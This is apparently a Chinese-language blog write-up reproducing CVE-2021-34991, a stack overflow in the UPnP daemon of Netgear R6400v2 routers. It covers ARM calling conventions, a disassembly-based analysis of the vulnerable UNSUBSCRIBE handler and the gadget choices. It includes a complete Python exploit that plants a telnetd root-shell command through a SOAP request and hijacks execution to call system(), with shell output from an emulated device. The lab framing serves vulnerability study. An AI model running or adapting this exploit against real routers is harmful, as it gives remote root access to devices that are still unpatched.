0x00:前言

CVE-2021-34991漏洞可以在Netgear SOHO个别设备中获取root权限,进行远程代码执行。该漏洞发生于upnp服务程序中没有严格检查字符串拷贝的长度,导致可以栈溢出控制程序的执行流。

本次复现所采用的固件版本为R6400v2-1.0.4.118,可点击这里进行下载。


0x01:相关汇编知识

固件中程序所采用的是32位ARM架构,这里仅是讲讲复现过程中的重要内容,并没有对整个体系进行讲解。

常用的寄存器有R0、R1、R2、···、R15,R0/R1/R2/R3用于函数的参数传递,函数返回时用R0保存返回值。这里使用的顺序编号,其中一些寄存器还使用了其它标识。

其中:

  • R11为FP,为栈底指针寄存器,如同X86下的EBP;
  • R13为SP,为栈顶指针寄存器;
  • R14为LR,在调用函数时保存下个指令的地址;
  • R15为PC,指向CPU执行的指令;

下面来看看arm函数调用和函数返回的过程:

.text:0001DEC8 05 00 A0 E1                   MOV             R0, R5        ; int
.text:0001DECC 08 10 A0 E1                   MOV             R1, R8        ; needle
.text:0001DED0 84 21 9F E5                   LDR             R2, =(aSslHttpSocketC+0x20) ; "\r\n"
.text:0001DED4 06 30 A0 E1                   MOV             R3, R6
.text:0001DED8 91 BD FF EB                   BL              find_token_get_val
.text:0001DED8
.text:0001DEDC 00 00 50 E3                   CMP             R0, #0

上面为调用find_token_get_val的汇编代码,使用BL跳转时,会先保存下一指令的地址(即0x0001DEDC)到LR中,然后进行跳转。如果是指令B,则直接进行跳转。

// find_token_get_val首条指令
.text:0000D524 F0 47 2D E9                   PUSH            {R4-R10,LR}

// find_token_get_val返回时
.text:0000D538 04 00 A0 E1                   MOV             R0, R4
.text:0000D53C F0 87 BD E8                   POP             {R4-R10,PC}

从上面可见,在进入find_token_get_val后,首先使用PUSH把父函数的寄存器信息保存,返回时,再使用POP进行恢复。现在来看看这两条指令,里面的”R4-R10”,指的是R4、R5、···、R9、R10寄存器。

如果以X86的视角进行分析: 首先push R4,然后R5, 直到LR;返回时pop R4, R5…诶?不太对,从右往左试试~🙂 仅按括号中的左右顺序进行分析,无论怎样,始终感觉奇怪。其实,ARM采用了更加简单直接的方式:

image-20230214093502774

image-20230214093602940

从官方手册的描述中,我们可以知道是以寄存器的编号大小为PUSH/POP的顺序,大编号对应高地址,小编号对应低地址。以前面的指令为例,并且我们已知栈是从高地址往低地址发展的。PUSH {R4-R10, LR}:先把LR(R14)压栈,再到R10、R9、···、R4。POP {R4-R10, PC}:先出栈给R4,再到R5,···,最后是LR。


0x02:漏洞分析

该栈溢出漏洞发生在upnpd程序的gena_response_unsubscribe函数中:

char needle[10240]; // [sp+8h] [bp-2C68h] BYREF
char http_msg[512]; // [sp+2808h] [bp-468h] BYREF
char v14[512]; // [sp+2A08h] [bp-268h] BYREF
char uuid_buffer[104]; // [sp+2C08h] [bp-68h] BYREF

memset(v14, 0, sizeof(v14));
memset(http_msg, 0, sizeof(http_msg));
memset(uuid_buffer, 0, 0x40);
(likePrint)(2, "%s(%d)\n", "gena_response_unsubscribe");
strncpy(http_msg, a1, 511u);                  // a1 -> v13
strlwr(http_msg);                             // 转换成小写
if ( !strstr(http_msg, "sid:") )              // strstr(str1, str2) 判断str2是否为str1的子串
  return (send_error_response)(a2);
if ( !strstr(http_msg, "host:") )
  return (send_error_response)(a2);
if ( !stristr(http_msg, "uuid:") )
  return (send_error_response)(a2);
memset(uuid_buffer, 0, 0x40u);                // 用于存储从http_msg中获取的uuid值
memset(needle, 0, sizeof(needle));
strncpy(needle, "uuid:", 0x3FFu);
if ( !(find_token_get_val)(http_msg, needle) )
  return (send_error_response)(a2);

gena_response_unsubscribe函数用于处理http中的UNSUBSCRIBE请求,使用strncpy将传入的http报文信息拷贝到数组http_msg中,然后使用strlwr将http_msg中的大写字母转换为小写。在下面调用find_token_get_val函数获取uuid的值时,可以赋给uuid_buffer过多的值导致栈溢出:

uuid_value_end = strstr(a1, a3);            // 指向uuid值的结束
v4 = uuid_value_end;
if ( uuid_value_end )
{
  if ( uuid_value_end - uuid_value_start < 1024 )  // 1024
    strncpy(a4, uuid_value_start, uuid_value_end - uuid_value_start);
  else

要想控制执行流进行getshell,首先我们需要知道如何构造uuid的值,使得返回地址覆盖为gadget的地址,从而控制执行流。需要注意的是:1) strncpy拷贝数据是有\x00字节截断的,如果我们构造uuid值中带有\x00,那么前面strncpy(http_msg, a1, 511u)这里将导致报文缺失,从而获取uuid时,找不到\r\n而引起程序退出;2) 前面有大小写转换,那么gadget中不能含有A-Z对应的ascii码值;

对于第一点分析,指令地址的高字节是有\x00的,但由于程序是小端序,我们可以用\r\n绕过,\r\n替代掉高字节的\x00。作为代价是我们uuid值中,只能带有一个gadget地址。

对于第二点,虽然在gena_response_unsubscribe函数的栈帧空间中,http报文会转换为小写,但在调用gena_response_unsubscribe函数的父函数的栈帧空间中报文还是原始的格式。我们可以增加SP的值,使其指向该处。

大概思路:控制执行流后先add sp,使其指向getshell gadget,然后pop pc;getshell指令是BL system,不过要先把参数放入R0。至于system的参数,可以通过另外一个请求传入全局变量0x66AD0处。


0x03:编写EXP

首先说一下idaF5反编译的问题:从汇编指令来看,find_token_get_val(http_msg, needle)其实是为find_token_get_val(http_msg, needle, "\r\n", uuid_buffer)。然后,至于uuid_buffer的大小:

// 进入gena_response_unsubscribe后:
.text:0001DDAC F0 4F 2D E9                   PUSH            {R4-R11,LR}
.text:0001DDB0 B1 DD 4D E2                   SUB             SP, SP, #0x2C40
.text:0001DDB4 0C D0 4D E2                   SUB             SP, SP, #0xC

// uuid_buffer第一次memset:
.text:0001DE04 02 3A 8D E2                   ADD             R3, SP, #0x2C70+var_C70
.text:0001DE08 0B 0B 8D E2                   ADD             R0, SP, #0x2C70+var_70
.text:0001DE0C 04 10 A0 E1                   MOV             R1, R4        ; c
.text:0001DE10 3C 20 A0 E3                   MOV             R2, #0x3C ; '<' ; n
.text:0001DE14 08 4C 83 E5                   STR             R4, [R3,#0xC08]
.text:0001DE18 0C 00 80 E2                   ADD             R0, R0, #0xC  ; s
.text:0001DE1C 18 B7 FF EB                   BL              memset

//uuid_buffer第二次memset
.text:0001DE8C 0B 6B 8D E2                   ADD             R6, SP, #0x2C70+var_70
.text:0001DE90 08 80 8D E2                   ADD             R8, SP, #0x2C70+needle
.text:0001DE94 08 60 86 E2                   ADD             R6, R6, #8
.text:0001DE98 04 10 A0 E1                   MOV             R1, R4        ; c
.text:0001DE9C 40 20 A0 E3                   MOV             R2, #0x40 ; '@' ; n
.text:0001DEA0 06 00 A0 E1                   MOV             R0, R6        ; s
.text:0001DEA4 F6 B6 FF EB                   BL              memset

//退出gena_response_unsubscribe前:
.text:0001DF04 4C D0 8D E2                   ADD             SP, SP, #0x4C ; 'L'
.text:0001DF08 0B DB 8D E2                   ADD             SP, SP, #0x2C00
.text:0001DF0C F0 8F BD E8                   POP             {R4-R11,PC}

这里比较奇怪的是,两次对uuid_buffer进行memset,uuid_buffer的起始空间是不同的,一个是sp+0x2c00,一个是sp+0x2c08。不过我们可以看到,调用find_token_get_val时是sp+0x2c08,此时uuid_buffer的空间大小为0x44,再上面就是R4、R5、…、R11、LR了。所以我们要先填充0x64字节的数据,再追加我们的gadget。

下面EXP采用的gadget是:

.text:00021F34 01 DA 8D E2                   ADD             SP, SP, #0x1000
.text:00021F38 F0 80 BD E8                   POP             {R4-R7,PC}

.text:00018150 04 00 A0 E1                   MOV             R0, R4        ; command
.text:00018154 C1 CC FF EB                   BL              system

EXP为:

import socket
import pwn

port = 5000
ip = "192.168.1.1"
command = "/bin/utelnetd -p3333 -l/bin/sh -d"

def s2b(s):
    return bytes([ord(x) for x in s])

def mySend(ip, port, payload):
    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip, port))
    sock.send(payload)
    pwn.sleep(1)
    sock.close()

def set_command():
    # 将命令写到全局变量中
    payload =  b'<?xml version="1.0"?> '
    payload += b'<SOAP-ENV:Envelope> '
    payload += b'Body>:'
    payload += s2b(command.replace(" ","${IFS}"))
    payload += b';Body >'
    payload += b" </SOAP-ENV:Body> "
    payload += b"</SOAP-ENV:Envelope>"

    request  = b'POST /Public_UPNP_C5 HTTP/1.1\r\n'
    request += s2b('Host: http://{}:{}\r\n'.format(ip, port))
    request += b'SOAPAction\r\n'
    request += s2b('Content-Length: {}\r\n'.format(len(payload)))
    request += b'\r\n'
    request += payload

    mySend(ip, port, request)

def Exploit():
    
    stack_add_gadget = 0x21F34  #ADD SP, SP, #0x1000; POP {R4-R7,PC}
    padding1         = 1304
    command_address  = 0x66AD0
    padding2         = 12
    system_gadget    = 0x18150  #MOV R0, R4; BL system

    payload  = b'UNSUBSCRIBE /Public_UPNP_Event_1 HTTP/1.1\r\n'
    payload += s2b('Host: http://{}:{}\r\n'.format(ip, port))
    payload += b'SID: whatever\r\n'
    payload += b'UUID: ' + b"A"*67
    payload += b'4444'
    payload += b'5555'
    payload += b'6666'
    payload += b'7777'
    payload += b'8888'
    payload += b'9999'
    payload += b'1010'
    payload += b'1111'
    
    # 小端序地址,使用\r\n替代掉\x00
    payload += pwn.p32(stack_add_gadget)[:3]
    payload += b'\r\n\r\n'

    # 通过调试找到原始报文的位置,添加垃圾数据,使SP+0x1000后,指向command_address处
    payload += b'J' * (padding1 - len(payload))
    # 执行system(command)
    payload += pwn.p32(command_address)
    payload += b'K' * padding2
    payload += pwn.p32(system_gadget)

    set_command()   # 将命令存在0x66AD0
    mySend(ip, port, payload) 
    
if __name__ == "__main__":
    Exploit()

0x04:测试

这里使用固件自动化模拟工具–FirmAE进行模拟(使用教程)。

./run.sh -c R6400v2 ./firmwares/R6400v2-V1.0.4.118_10.0.90.chk检查一下是否可以模拟。

./run.sh -r R6400v2 ./firmwares/R6400v2-V1.0.4.118_10.0.90.chk开始模拟,服务开在了192.168.1.1。

进行调试的话,将参数改为-d。

我们可以用nmap扫一下端口,发现upnp服务已经默认开启在了5000端口。

执行exp后,即可使用telnet连接目标的3333端口。

tolele@u22: $ python3 upnpd_exp.py
tolele@u22: $ telnet 192.168.1.1 3333
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.


BusyBox v1.7.2 (2021-06-30 20:48:26 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls
bin         etc_ro      media       root        sys         www
data        firmadyne   mnt         run         tmp
dev         lib         opt         sbin        usr
etc         lost+found  proc        share       var
# 

0x05:总结

本次漏洞复现收获颇丰,但也发现了自身知识薄弱的地方:

1)IOT设备服务程序很多,怎样快速的发现漏洞?或者使用模糊测试工具?

2)计算机网络知识与逆向功底不到位,报文格式的构造模模糊糊;


0x06:参考

1、https://github.com/grimm-co/NotQuite0DayFriday/blob/trunk/2021.11.16-netgear-upnp/README.md